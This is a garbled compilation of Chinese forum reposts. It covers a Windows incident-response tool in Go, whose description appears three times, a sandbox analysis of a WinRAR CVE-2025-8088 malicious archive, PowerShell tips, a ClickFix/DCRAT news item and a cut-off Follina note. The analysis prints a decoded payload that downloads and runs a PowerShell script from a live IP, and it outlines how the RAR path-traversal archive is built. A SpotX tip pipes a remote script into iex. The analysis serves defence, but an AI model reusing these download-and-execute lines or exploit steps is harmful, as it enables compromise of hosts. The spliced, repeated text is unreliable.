	psCmd := fmt.Sprintf(`[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;
$startTime = '%s';
$endTime = '%s';
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732; StartTime=$startTime; EndTime=$endTime} -MaxEvents 200 |
ForEach-Object {
    $xml = [xml]$_.ToXml()

    $subjectSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "SubjectUserSid" } | Select-Object -ExpandProperty '#text'
    $memberSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "MemberSid" } | Select-Object -ExpandProperty '#text'
    $groupSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "TargetSid" } | Select-Object -ExpandProperty '#text'

    function Get-NameFromSid($sid) {
        try {
            return (New-Object System.Security.Principal.SecurityIdentifier($sid)).Translate([System.Security.Principal.NTAccount]).Value
        } catch {
            return $sid
        }
    }

    $subjectName = Get-NameFromSid $subjectSid
    $memberName = Get-NameFromSid $memberSid
    $groupName = Get-NameFromSid $groupSid

    "$($_.TimeCreated)###$($_.Id)###$subjectName###$memberName###$groupName"
}`, startTime, endTime)

	// 调用 runPowerShellCommand,它会返回一个包含输出行的切片和错误信息
	lines, err := runPowerShellCommand(psCmd)

	// --- 错误处理部分 ---
	// 如果 PowerShell 命令执行失败
	if err != nil {
		// 检查错误信息是否包含“No events were found”
		if strings.Contains(err.Error(), "No events were found") {
			// 如果是这个特定错误,返回自定义的友好错误信息
			return fmt.Errorf("无用户组迁移相关事件id4732")
		}
		// 如果是其他错误,则返回原始错误
		return fmt.Errorf("执行PowerShell命令失败: %w", err)
	}

	// 如果没有错误,但返回的行切片是空的,也视为没有找到事件
	if len(lines) == 0 {
		return fmt.Errorf("无用户组迁移相关事件id4732")
	}
	// --- 错误处理部分结束 ---

	tx, err := db.Begin()
	if err != nil {
		return err
	}
	defer func() {
		if err != nil {
			tx.Rollback()
		}
	}()

	// 清理旧数据
	_, err = tx.Exec(`DELETE FROM backdoor_users`)
	if err != nil {
		return err
	}

	stmt, err := tx.Prepare(`INSERT INTO backdoor_users (time_created, event_id, subject_name, member_name, group_name) VALUES (?, ?, ?, ?, ?)`)
	if err != nil {
		return err
	}
	defer stmt.Close()

	for _, line := range lines {
		if len(strings.TrimSpace(line)) == 0 {
			continue
		}
		parts := strings.SplitN(line, "###", 5)
		if len(parts) < 5 {
			continue
		}

		_, err = stmt.Exec(parts[0], parseInt(parts[1]), parts[2], parts[3], parts[4])
		if err != nil {
			return fmt.Errorf("插入后门用户日志失败: %w", err)
		}
	}

	return tx.Commit()
}

基本上所有的日志模块的处理都是基于powershell来实现的,所以在winserver 2008及以下的版本不安装工具是无法使用的

日志检索效率以及优势

因为该工具是日志文件数据提取保存,会从db文件中读取已经保存的部分数据,在检索速度上效果还是可以的,最大的优势是直接根据事件详情提取需要的字段,避免从Windows自带的检索功能中逐条查看,效率大大提高。

主机信息模块

  • 获取主机信息和网卡信息
  • 获取网络连接状态
  • 网络外联IP定位,目前调用的是公网的ip.net的接口

日志分析模块

  • 提取 Windows 应用日志(Application Log)
  • 提取 Windows 安全日志(Security Log)
  • 支持查看登录成功(4624)、登录失败(4625)、防火墙日志、用户组迁移、用户创建删除等事件
  • 日志保存到 log.db(SQLite 数据库)
  • UI 分页展示、点击查看完整内容
  • 支持模糊查询快速定位IP和用户
  • 根据数据库内容利用AI依据各个表的时间线进行安全分析(建议使用AI分析+人工确认)
  • 一键快速分析功能,可以直接根据数据库生成事件摘要


目前版本为V2.0,因为在实战中1.0的出现部分bug,已经在2,0版本中修复了,防火墙日志图片仅供参考

任务调度

  • 提取定时任务详情,实时刷新

  • 支持任务筛选模糊查询

网站导航模块

  • 云沙箱、IP反查、威胁情报、空间测绘、网站备案、常见编码解码

目前支持一键跳转,本来是计划做一个聚合类的导航栏,奈何go语言实现太麻烦,略微有点儿鸡肋性价比低就实现的跳转。

DeepseekChatAI模块

  • 支持 Deepseek API 调用
  • 上下文聊天、会话创建、清空、删除

在风险主机出网的条件下是支持使用ChatAI模块的,直接在Deepseek购买api量即可,总的来说完全够用。

IP情报查询模块

  • 调用 VirtualTools API 查询IP
  • 请求率: 每分钟4次,每日500次,每月15.5K次
  • 红色标记已打标签IP

目前代码位置固定仅支持每分钟查询4个ip。

截图模块

  • 点击“截图”按钮即可截取全屏
  • 自动保存到当前目录下的 Screenshots 文件夹
  • 支持多显示器同时截图
  • 弹窗提示保存的截图数量和保存路径

使用方法

  1. 启动工具后选择日志类型
  2. 点击按钮执行提取,日志保存到本地数据库
  3. 分页浏览日志,点击查看详情
  4. 可通过筛选或时间选择缩小范围

注意事项

  • 必须以管理员权限运行
  • 默认拉取最近7天日志,可自定义
  • 首次运行会自动创建 log.db,config.json

工具使用效果

目前在本机三层靶场测试效果还可以,基本上受控主机上测试效果还是可以的,基本上可以覆盖溯源攻击路径,不过该工具还是基于windows日志来实现的,前提是日志审核策略需要开启,目前基本上一般业务系统有做过等保和加固的常见的日志审核策略是满足需求的。并且AI的一键分析是基本上能够满足定位分析攻击路径的。

一、简介

近期,WinRAR 曝出存在目录穿越漏洞(CVE-2025-8088),攻击者可构造恶意压缩包实现目录穿越,将任意文件写入到系统盘的任意位置。攻击者利用此漏洞可将恶意载荷(Payload)释放到 Windows 系统的“启动”文件夹下,当用户下次登录系统时,恶意代码将被自动执行,攻击者可获得主机的持久化控制权。该漏洞影响所有版本号 < 7.13 的 WinRAR,建议各位读者立即升级至 WinRAR 7.13 或更高版本。

自漏洞曝出,天穹团队积极扫描线上样本,检测到存在利用 CVE-2025-8088 的压缩包恶意样本,沙箱已于第一时间对该攻击样本进行分析,并确认天穹沙箱可以有效检测利用此漏洞的恶意行为,保护用户免受其害。

二、样本信息

  • 样本名:【内部资料】研发部门员工薪资单.rar
  • SHA1:67F6B3530D0D017040873246B4A592F09470FFCC
  • 文件类型:RAR Archive Data (v5)
  • 诱饵文件:【内部资料】研发部门员工薪资单.txt
  • 关联载荷:start.bat

三、样本分析

行为分析

该压缩包内部包含一个名为【内部资料】研发部门员工薪资单.txt的诱饵文件和一个名为 start.bat 的 Payload 文件,使用包含 CVE-2025-8088 漏洞的 WinRAR 解压该样本时将执行以下操作:

  • 在当前目录释放诱饵文件【内部资料】研发部门员工薪资单.txt
  • 在用户自启动目录释放 start.bat 文件,其内容为远程执行 PS1 文件。

当受害者重启电脑后,释放在自启动目录的 bat 文件会被执行触发恶意行为。

沙箱分析

将该样本投递至天穹沙箱,从压缩包检测部分可以看到,沙箱准确识别出漏洞信息诱饵文件恶意载荷路径,如图1所示。

图1 压缩包检测

通过动态分析可以看到,沙箱检测到样本将 start.bat 写入 c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ 目录,且进程的执行者为 winrar.exe,如图2所示。

图2 创建开启自启动脚本

单独分析 BAT 脚本,解密后其主体内容如下:

1IEX (New-Object System.Net.WebClient).DownloadString(‘http://47.82.111.137:666/reflection.ps1’)

由动态分析进程树部分可见,沙箱捕获到样本执行 Powershell 命令,如图3所示。

图3 执行Powershell命令

样本尝试下载并执行该 ps1 文件,如图4所示。

图4 远程下载ps1脚本并执行

由于该下载地址已死亡,无法进一步分析后续行为。

漏洞利用攻击链分析

该漏洞的核心利用方式是将 RAR5 文件头篡改与 NTFS 备用数据流(ADS)相结合。

  1. 载荷隐藏:攻击者首先将恶意载荷(如 1.bat )附加到一个无害的诱饵文件(如 decoy.txt )的 NTFS 备用数据流(ADS)中,这使得载荷在文件管理器中不可见,增加了隐蔽性。
  2. 构造基础包:攻击者使用官方的 WinRAR 命令行工具,将被附加了 ADS 的诱饵文件正常打包。这一步骤中 RAR 文件会记录下 ADS 的流名称,需要注意的是,WinRAR 在打包时禁止写入 ../ 这类可能造成目录穿越的路径,所以此处会先用占位符填充,如 X,但需要保证路径长度和修改后的路径长度一致,这样便于后续填充,如图5所示。
图5 原始RAR文件
  1. 路径篡改:这是最关键的一步。攻击者以二进制方式打开上一步骤生成的 RAR 文件,在文件头(File Header)中搜索记录 ADS 流名称的位置,并将其替换为精心构造的路径遍历字符串,例如:..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat
  2. 校验和修复:直接修改文件头会破坏文件 CRC32 校验和,导致 WinRAR 报错。为了使恶意压缩包能够被正常解压,攻击者会重新计算被篡改过的文件头的 CRC32 值写回文件,如图6所示。
图6 修改后的RAR文件

文件分析

通过分析发现,该样本使用了 \..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 进行目录穿越,当用户在 DownloadsDocumentsDesktop 和其他类似目录解压时,可顺利将 bat 脚本释放到用户自启动目录,如图7所示。此攻击方式的优点是无需知晓用户名,且用户下载压缩包时通常保存的目录就在 Downloads 目录。

图7 目录穿越路径

四、IOC

恶意文件(SHA256)

15123d998f3f2c1c6bead26f9ea102b5e46710cf1b0699f9b455a80af8e383155

恶意链接

1http[:]//47.82.111.137[:]666/reflection.ps1

报告链接

漏洞利用分析报告:天穹沙箱分析报告

压缩包文件分析报告:天穹沙箱分析报告

勇敢的更新新版本吧

PowerShell

# 1. 设置反代地址(指向你的 8045 端口)
[System.Environment]::SetEnvironmentVariable('ANTHROPIC_BASE_URL', 'http://127.0.0.1:8045', 'User')

# 2. 设置伪装 Session Token(使用你提供的 Key) # 注意:这里我们故意不使用 API_KEY 变量,而是用 AUTH_TOKEN
[System.Environment]::SetEnvironmentVariable('ANTHROPIC_AUTH_TOKEN', 'sk-key', 'User')

# 3. 强制清空标准 API Key(防止冲突,确保 Claude Code 只读取 Token)
[System.Environment]::SetEnvironmentVariable('ANTHROPIC_API_KEY', $null, 'User')

mac

export ANTHROPIC_BASE_URL="http://127.0.0.1:8045" export ANTHROPIC_AUTH_TOKEN="sk-key" export ANTHROPIC_API_KEY="" 

📌 转载信息
原作者:
daidaiyu
转载时间:
2026/1/23 12:00:54

试试 win11 自带的 google 的 TCP 拥塞算法吧。让发包狂魔 BBR 帮你解决焦虑。

windows11 以管理员身份打开 powershell

查看当前采用的网络算法

Get-NetTCPSetting | Select SettingName,CongestionProvider

可以看到微软原生的是 CUBIC

win11 自带 BBR2 算法,可以在 powershell 中执行命令,切换为 BBR2 算法:

netsh int tcp set supplemental Template=Internet CongestionProvider=bbr2
netsh int tcp set supplemental Template=Datacenter CongestionProvider=bbr2
netsh int tcp set supplemental Template=Compat CongestionProvider=bbr2
netsh int tcp set supplemental Template=DatacenterCustom CongestionProvider=bbr2
netsh int tcp set supplemental Template=InternetCustom CongestionProvider=bbr2
#在 Windows 11 23H2 / 24H2 及更新版本下,启用 BBR v2 可能会造成本地 TCP 连接无法使用(如导致 adb 卡住无法连接、Steam 无法使用等),我们还需要使用以下命令修复本地 TCP 连接。(来源,MSDN )
netsh int ipv6 set global loopbacklargemtu=disable
netsh int ipv4 set global loopbacklargemtu=disable

回退:

netsh int tcp set supplemental template=internet congestionprovider=CUBIC
netsh int tcp set supplemental template=internetcustom congestionprovider=CUBIC
netsh int tcp set supplemental template=Compat congestionprovider=NewReno
netsh int tcp set supplemental template=Datacenter congestionprovider=CUBIC
netsh int tcp set supplemental template=Datacentercustom congestionprovider=CUBIC
netsh int ipv6 set global loopbacklargemtu=enable
netsh int ipv4 set global loopbacklargemtu=enable

我亲测用起来后,网络下载比原来快不少,有兴趣的小伙伴快来试试吧。

PS:linux 也可以切换,用 linux 的也不用手把手教了,这里不做赘述了。

前言

将近三周的时间开发,目标是针对小白都能上手的Windows应急工具,完全基于红队人员攻击思路以及蓝队应急流程开发的Windows应急响应工具,目前V2.0的版本基本上已经ok了没有问题,下面是工具介绍,目前网上基本上没有比这个更好用且更完善的工具,计划是在V3.0计划兼容Winserver2008以下版本,另外加入内存马查杀机制。因为初衷就是想轻量,如果工具过大就违背了这个工具的初衷。

工具授权

目前工具设置需要授权码,计划是三月一次授权。

Cr7crwBXfh2AHVMh/RmH7w==

项目地址

系统支持

  • Windows 10/11 ✅
  • Windows Server 2012/2016/2019/2022 ✅
  • Windows Server 2008 R2 ✅
  • Windows Server 2008 非 R2 ⚠️ 仅支持 Get-EventLog,需升级 PowerShell

工具核心日志处理

// 后门用户迁移4732时间id日志提取
func FetchAndStoreBackdoorUsers(db *sql.DB, startTime, endTime string) error {
	// 动态构建 PowerShell 命令,使用传入的开始和结束时间
	psCmd := fmt.Sprintf(`[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;
$startTime = '%s';
$endTime = '%s';
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732; StartTime=$startTime; EndTime=$endTime} -MaxEvents 200 |
ForEach-Object {
    $xml = [xml]$_.ToXml()

    $subjectSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "SubjectUserSid" } | Select-Object -ExpandProperty '#text'
    $memberSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "MemberSid" } | Select-Object -ExpandProperty '#text'
    $groupSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "TargetSid" } | Select-Object -ExpandProperty '#text'

    function Get-NameFromSid($sid) {
        try {
            return (New-Object System.Security.Principal.SecurityIdentifier($sid)).Translate([System.Security.Principal.NTAccount]).Value
        } catch {
            return $sid
        }
    }

    $subjectName = Get-NameFromSid $subjectSid
    $memberName = Get-NameFromSid $memberSid
    $groupName = Get-NameFromSid $groupSid

    "$($_.TimeCreated)###$($_.Id)###$subjectName###$memberName###$groupName"
}`, startTime, endTime)

	// 调用 runPowerShellCommand,它会返回一个包含输出行的切片和错误信息
	lines, err := runPowerShellCommand(psCmd)

	// --- 错误处理部分 ---
	// 如果 PowerShell 命令执行失败
	if err != nil {
		// 检查错误信息是否包含“No events were found”
		if strings.Contains(err.Error(), "No events were found") {
			// 如果是这个特定错误,返回自定义的友好错误信息
			return fmt.Errorf("无用户组迁移相关事件id4732")
		}
		// 如果是其他错误,则返回原始错误
		return fmt.Errorf("执行PowerShell命令失败: %w", err)
	}

	// 如果没有错误,但返回的行切片是空的,也视为没有找到事件
	if len(lines) == 0 {
		return fmt.Errorf("无用户组迁移相关事件id4732")
	}
	// --- 错误处理部分结束 ---

	tx, err := db.Begin()
	if err != nil {
		return err
	}
	defer func() {
		if err != nil {
			tx.Rollback()
		}
	}()

	// 清理旧数据
	_, err = tx.Exec(`DELETE FROM backdoor_users`)
	if err != nil {
		return err
	}

	stmt, err := tx.Prepare(`INSERT INTO backdoor_users (time_created, event_id, subject_name, member_name, group_name) VALUES (?, ?, ?, ?, ?)`)
	if err != nil {
		return err
	}
	defer stmt.Close()

	for _, line := range lines {
		if len(strings.TrimSpace(line)) == 0 {
			continue
		}
		parts := strings.SplitN(line, "###", 5)
		if len(parts) < 5 {
			continue
		}

		_, err = stmt.Exec(parts[0], parseInt(parts[1]), parts[2], parts[3], parts[4])
		if err != nil {
			return fmt.Errorf("插入后门用户日志失败: %w", err)
		}
	}

	return tx.Commit()
}

基本上所有的日志模块的处理都是基于powershell来实现的,所以在winserver 2008及以下的版本不安装工具是无法使用的

日志检索效率以及优势

因为该工具是日志文件数据提取保存,会从db文件中读取已经保存的部分数据,在检索速度上效果还是可以的,最大的优势是直接根据事件详情提取需要的字段,避免从Windows自带的检索功能中逐条查看,效率大大提高。

主机信息模块

  • 获取主机信息和网卡信息
  • 获取网络连接状态
  • 网络外联IP定位,目前调用的是公网的ip.net的接口

日志分析模块

  • 提取 Windows 应用日志(Application Log)
  • 提取 Windows 安全日志(Security Log)
  • 支持查看登录成功(4624)、登录失败(4625)、防火墙日志、用户组迁移、用户创建删除等事件
  • 日志保存到 log.db(SQLite 数据库)
  • UI 分页展示、点击查看完整内容
  • 支持模糊查询快速定位IP和用户
  • 根据数据库内容利用AI依据各个表的时间线进行安全分析(建议使用AI分析+人工确认)
  • 一键快速分析功能,可以直接根据数据库生成事件摘要


目前版本为V2.0,因为在实战中1.0的出现部分bug,已经在2,0版本中修复了,防火墙日志图片仅供参考

任务调度

  • 提取定时任务详情,实时刷新

  • 支持任务筛选模糊查询

网站导航模块

  • 云沙箱、IP反查、威胁情报、空间测绘、网站备案、常见编码解码

目前支持一键跳转,本来是计划做一个聚合类的导航栏,奈何go语言实现太麻烦,略微有点儿鸡肋性价比低就实现的跳转。

DeepseekChatAI模块

  • 支持 Deepseek API 调用
  • 上下文聊天、会话创建、清空、删除

在风险主机出网的条件下是支持使用ChatAI模块的,直接在Deepseek购买api量即可,总的来说完全够用。

IP情报查询模块

  • 调用 VirtualTools API 查询IP
  • 请求率: 每分钟4次,每日500次,每月15.5K次
  • 红色标记已打标签IP

目前代码位置固定仅支持每分钟查询4个ip。

截图模块

  • 点击“截图”按钮即可截取全屏
  • 自动保存到当前目录下的 Screenshots 文件夹
  • 支持多显示器同时截图
  • 弹窗提示保存的截图数量和保存路径

使用方法

  1. 启动工具后选择日志类型
  2. 点击按钮执行提取,日志保存到本地数据库
  3. 分页浏览日志,点击查看详情
  4. 可通过筛选或时间选择缩小范围

注意事项

  • 必须以管理员权限运行
  • 默认拉取最近7天日志,可自定义
  • 首次运行会自动创建 log.db,config.json

工具使用效果

目前在本机三层靶场测试效果还可以,基本上受控主机上测试效果还是可以的,基本上可以覆盖溯源攻击路径,不过该工具还是基于windows日志来实现的,前提是日志审核策略需要开启,目前基本上一般业务系统有做过等保和加固的常见的日志审核策略是满足需求的。并且AI的一键分析是基本上能够满足定位分析攻击路径的。

前言

将近三周的时间开发,目标是针对小白都能上手的Windows应急工具,完全基于红队人员攻击思路以及蓝队应急流程开发的Windows应急响应工具,目前V2.0的版本基本上已经ok了没有问题,下面是工具介绍,目前网上基本上没有比这个更好用且更完善的工具,计划是在V3.0计划兼容Winserver2008以下版本,另外加入内存马查杀机制。因为初衷就是想轻量,如果工具过大就违背了这个工具的初衷。

工具授权

目前工具设置需要授权码,计划是三月一次授权。

Cr7crwBXfh2AHVMh/RmH7w==

项目地址

系统支持

  • Windows 10/11 ✅
  • Windows Server 2012/2016/2019/2022 ✅
  • Windows Server 2008 R2 ✅
  • Windows Server 2008 非 R2 ⚠️ 仅支持 Get-EventLog,需升级 PowerShell

工具核心日志处理

// 后门用户迁移4732时间id日志提取
func FetchAndStoreBackdoorUsers(db *sql.DB, startTime, endTime string) error {
	// 动态构建 PowerShell 命令,使用传入的开始和结束时间
	psCmd := fmt.Sprintf(`[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;
$startTime = '%s';
$endTime = '%s';
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732; StartTime=$startTime; EndTime=$endTime} -MaxEvents 200 |
ForEach-Object {
    $xml = [xml]$_.ToXml()

    $subjectSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "SubjectUserSid" } | Select-Object -ExpandProperty '#text'
    $memberSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "MemberSid" } | Select-Object -ExpandProperty '#text'
    $groupSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "TargetSid" } | Select-Object -ExpandProperty '#text'

    function Get-NameFromSid($sid) {
        try {
            return (New-Object System.Security.Principal.SecurityIdentifier($sid)).Translate([System.Security.Principal.NTAccount]).Value
        } catch {
            return $sid
        }
    }

    $subjectName = Get-NameFromSid $subjectSid
    $memberName = Get-NameFromSid $memberSid
    $groupName = Get-NameFromSid $groupSid

    "$($_.TimeCreated)###$($_.Id)###$subjectName###$memberName###$groupName"
}`, startTime, endTime)

	// 调用 runPowerShellCommand,它会返回一个包含输出行的切片和错误信息
	lines, err := runPowerShellCommand(psCmd)

	// --- 错误处理部分 ---
	// 如果 PowerShell 命令执行失败
	if err != nil {
		// 检查错误信息是否包含“No events were found”
		if strings.Contains(err.Error(), "No events were found") {
			// 如果是这个特定错误,返回自定义的友好错误信息
			return fmt.Errorf("无用户组迁移相关事件id4732")
		}
		// 如果是其他错误,则返回原始错误
		return fmt.Errorf("执行PowerShell命令失败: %w", err)
	}

	// 如果没有错误,但返回的行切片是空的,也视为没有找到事件
	if len(lines) == 0 {
		return fmt.Errorf("无用户组迁移相关事件id4732")
	}
	// --- 错误处理部分结束 ---

	tx, err := db.Begin()
	if err != nil {
		return err
	}
	defer func() {
		if err != nil {
			tx.Rollback()
		}
	}()

	// 清理旧数据
	_, err = tx.Exec(`DELETE FROM backdoor_users`)
	if err != nil {
		return err
	}

	stmt, err := tx.Prepare(`INSERT INTO backdoor_users (time_created, event_id, subject_name, member_name, group_name) VALUES (?, ?, ?, ?, ?)`)
	if err != nil {
		return err
	}
	defer stmt.Close()

	for _, line := range lines {
		if len(strings.TrimSpace(line)) == 0 {
			continue
		}
		parts := strings.SplitN(line, "###", 5)
		if len(parts) < 5 {
			continue
		}

		_, err = stmt.Exec(parts[0], parseInt(parts[1]), parts[2], parts[3], parts[4])
		if err != nil {
			return fmt.Errorf("插入后门用户日志失败: %w", err)
		}
	}

	return tx.Commit()
}

基本上所有的日志模块的处理都是基于powershell来实现的,所以在winserver 2008及以下的版本不安装工具是无法使用的

日志检索效率以及优势

因为该工具是日志文件数据提取保存,会从db文件中读取已经保存的部分数据,在检索速度上效果还是可以的,最大的优势是直接根据事件详情提取需要的字段,避免从Windows自带的检索功能中逐条查看,效率大大提高。

主机信息模块

  • 获取主机信息和网卡信息
  • 获取网络连接状态
  • 网络外联IP定位,目前调用的是公网的ip.net的接口

日志分析模块

  • 提取 Windows 应用日志(Application Log)
  • 提取 Windows 安全日志(Security Log)
  • 支持查看登录成功(4624)、登录失败(4625)、防火墙日志、用户组迁移、用户创建删除等事件
  • 日志保存到 log.db(SQLite 数据库)
  • UI 分页展示、点击查看完整内容
  • 支持模糊查询快速定位IP和用户
  • 根据数据库内容利用AI依据各个表的时间线进行安全分析(建议使用AI分析+人工确认)
  • 一键快速分析功能,可以直接根据数据库生成事件摘要


目前版本为V2.0,因为在实战中1.0的出现部分bug,已经在2,0版本中修复了,防火墙日志图片仅供参考

任务调度

  • 提取定时任务详情,实时刷新

  • 支持任务筛选模糊查询

网站导航模块

  • 云沙箱、IP反查、威胁情报、空间测绘、网站备案、常见编码解码

目前支持一键跳转,本来是计划做一个聚合类的导航栏,奈何go语言实现太麻烦,略微有点儿鸡肋性价比低就实现的跳转。

DeepseekChatAI模块

  • 支持 Deepseek API 调用
  • 上下文聊天、会话创建、清空、删除

在风险主机出网的条件下是支持使用ChatAI模块的,直接在Deepseek购买api量即可,总的来说完全够用。

IP情报查询模块

  • 调用 VirtualTools API 查询IP
  • 请求率: 每分钟4次,每日500次,每月15.5K次
  • 红色标记已打标签IP

目前代码位置固定仅支持每分钟查询4个ip。

截图模块

  • 点击“截图”按钮即可截取全屏
  • 自动保存到当前目录下的 Screenshots 文件夹
  • 支持多显示器同时截图
  • 弹窗提示保存的截图数量和保存路径

使用方法

  1. 启动工具后选择日志类型
  2. 点击按钮执行提取,日志保存到本地数据库
  3. 分页浏览日志,点击查看详情
  4. 可通过筛选或时间选择缩小范围

注意事项

  • 必须以管理员权限运行
  • 默认拉取最近7天日志,可自定义
  • 首次运行会自动创建 log.db,config.json

工具使用效果

目前在本机三层靶场测试效果还可以,基本上受控主机上测试效果还是可以的,基本上可以覆盖溯源攻击路径,不过该工具还是基于windows日志来实现的,前提是日志审核策略需要开启,目前基本上一般业务系统有做过等保和加固的常见的日志审核策略是满足需求的。并且AI的一键分析是基本上能够满足定位分析攻击路径的。

之前一直没有体验 codex,最近空下来了,我来一个一个 cli 工具拷打一下,接入我真实的开发任务。一看这个 Codex 读写文件的原理我 TM 头的大了。他使用指令读取文件的时候,居然不携带我的 profile.ps1。网上那篇点击率贼高的文章没个用。

我系统是
Microsoft Windows 10 专业工作站版
版本 10.0.19045 内部版本 19045

powershell 版本:

PS C:\Users\Administrator> $PSVersionTable Name Value ---- ----- PSVersion 5.1.19041.5965 PSEdition Desktop PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.19041.5965 CLRVersion 4.0. WSManStackVersion 3.0 PSRemotingProtocolVersion 2.3 SerializationVersion 1.1.0.1 

原理也没什么好说的,就是 codex 调用工具的时候告诉他要用 utf8 读。

好像直接使用编辑器贴 Skill 有问题我就留下个 git 链接吧。

也不用点 Star,我很社恐…

Zxyy-mo/Get-It-Done: 没什么大道理,全是自用的 LLM 实操小技巧。记录平时用 OpenAI 和 Claude 时比较顺手的提示词、Skills、插件配置,以及一些摸索出来的 Vibe Coding 瞎搞经验


📌 转载信息
原作者:
wangziwen
转载时间:
2026/1/15 18:18:01

背景

你是不是也有这种痛苦:
每天在 PowerShell + 各种编辑器的 Terminal 里库库手打命令,输错一个字母就重来;
想找上一条命令只能疯狂按 ↑ ↓;
更离谱的是 —— 还没有自动补全,每条命令都得从头敲!

如果你也被这些折磨过 —— 恭喜你,今天这个工具能让你直接起飞:
装上它,PowerShell + 各种编辑器的 Terminal 的命令提示 / 补全体验立刻提升一大截,常见命令、参数、历史记录都能更顺手地调用。
一条命令安装,立刻告别重复手打!

工具

重磅推荐 PSReadLine (大家不会认为是我自己写的工具吧)

PSReadLinePowerShell 里用来 “增强命令行交互体验” 的组件(模块)。你可以把它理解成:给 PowerShell 的输入框加上更聪明的编辑器能力。

PSReadLine 支持:

  • 历史与搜索:支持 Ctrl + R 反向搜索历史命令,也能做 “按前缀翻历史”(输入 git 再按 ↑ 只找以 git 开头的历史)。
  • 智能补全 / 预测:根据你的历史记录(以及配置)在你输入时给出建议,减少重复敲命令。
  • 更好用的编辑体验:更顺手的光标移动、选中、剪切 / 复制、撤销等快捷键,输入长命令不再痛苦。
  • 可自定义键位和行为:你可以把常用操作绑定到自己习惯的按键上,甚至把补全、历史搜索的逻辑改成你想要的样子。

大家是不是已经等不及要安装了,安装非常简单,在 powellshell 中执行一行命令即可安装

Install-Module PSReadLine -Force

弹窗提示直接回车,等待安装完成。

提示:需要打开新的 shell 命令才会起作用哈。

展示效果

附录

VS Code 里把默认命令行设为 PowerShell

  1. Ctrl + Shift + P
  2. 输入并选择:Terminal: Select Default Profile
  3. PowerShell(一般会显示 PowerShellWindows PowerShell

📌 转载信息
原作者:
wangguodong
转载时间:
2026/1/14 10:22:05

Spotx
Windows 端的,安装特别简单
直接复制进 powershell 回车按提示完成安装即可

iex “& { $(iwr -useb ‘https://raw.githubusercontent.com/SpotX-Official/SpotX/refs/heads/main/run.ps1’) } -new_theme”

iex “& { $(iwr -useb ‘https://raw.githubusercontent.com/SpotX-Official/SpotX/refs/heads/main/run.ps1’) } -new_theme”

╔════════════════════════════════╗
║ 欢迎使用 SpotX 的 Windows 版本 ║
╚════════════════════════════════╝

您的 Spotify 1.2.79.427 版本已过时,建议更新到 1.2.80.349
是否需要更新? [Y/N]: Y

是否要卸载当前版本 1.2.79.427 或者覆盖安装?Y [卸载] / N [覆盖安装]: N

下载并安装 Spotify 1.2.80.349
请稍等…

#################################################################################################################### 100.0%

您想关闭主页上的播客、剧集与有声读物吗? [Y/N]: Y

您想要阻止 Spotify 更新吗? [Y/N]: Y

修补 Spotify…

安装完成

然后打开 Spotify 开始享受吧


📌 转载信息
原作者:
S_M9
转载时间:
2026/1/12 10:38:14

ClickFix攻击利用伪造的Windows蓝屏死机界面传播恶意软件

                        作者

04:16 PM

一场针对欧洲酒店业的新型ClickFix社会工程攻击正在活跃,攻击者通过伪造Windows蓝屏死机(BSOD)界面,诱骗用户在其系统上手动编译并执行恶意软件。

蓝屏死机是Windows操作系统遇到致命且无法恢复的错误时显示的崩溃界面。

这场最早于12月被发现、被Securonix研究人员追踪命名为"PHALT#BLYX"的新攻击活动中,冒充Booking.com的网络钓鱼邮件最终导向了部署恶意软件的ClickFix社会工程攻击。

ClickFix攻击伪造蓝屏死机崩溃界面

ClickFix社会工程攻击通过设计展示错误或问题的网页,随后提供"修复方案"来解决该问题。这些错误可能是伪造的错误消息、安全警告、验证码挑战或更新通知,指示访问者在计算机上运行命令以解决问题。

受害者最终会按照攻击者指示运行恶意的PowerShell或Shell命令,从而感染自己的设备。

在此次新的ClickFix攻击活动中,攻击者发送冒充酒店客人取消Booking.com预订的钓鱼邮件,通常针对酒店企业。邮件中声明的退款金额足以给收件人制造紧迫感。

伪造的Booking.com预订取消提醒

来源:Securonix

点击邮件中的链接会将受害者导向托管在'low-house[.]com'的虚假Booking.com网站,Securonix将其描述为真实Booking.com网站的"高保真克隆版"。

"该页面使用官方Booking.com品牌元素,包括正确的配色方案、标识和字体样式。对于未经训练的用户而言,它与合法网站无法区分,"
Securonix报告指出

Booking.com克隆网站上的虚假错误信息

来源:Securonix

然而当目标点击按钮时,浏览器会进入全屏模式并显示伪造的Windows蓝屏死机崩溃界面,从而启动ClickFix社会工程攻击。

受害者浏览器上显示的ClickFix蓝屏死机界面

来源:Securonix

该界面提示用户打开Windows运行对话框,然后按CTRL+V粘贴已复制到Windows剪贴板的恶意命令。

随后系统会提示用户点击确定按钮或按键盘回车键执行该命令。

真实的蓝屏死机消息不会提供恢复指导,仅显示错误代码和重启提示,但缺乏经验的用户或在解决纠纷压力下的酒店工作人员可能会忽略这些欺诈迹象。

恶意软件(staxs.exe)是DCRAT远程访问木马,威胁行为者常用此工具远程访问受感染设备。

该恶意软件通过进程镂空技术注入到合法的'aspnet_compiler.exe'进程中,并直接在内存中执行。

首次连接命令与控制(C2)服务器时,恶意软件会发送完整的系统指纹信息,随后等待执行命令。

它支持远程桌面功能、键盘记录、反向Shell以及额外载荷的内存执行。在Securonix观察到的案例中,攻击者部署了加密货币挖矿程序。

建立远程访问后,威胁行为者便在目标网络中建立了立足点,从而能够扩散到其他设备、窃取数据并可能危害其他系统。

前言

近期新爆出的漏洞office的0day,利用msdt+远程加载
CVE:CVE-2022-30190

样本地址:https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/#

简单分析

无VBA,远程加载


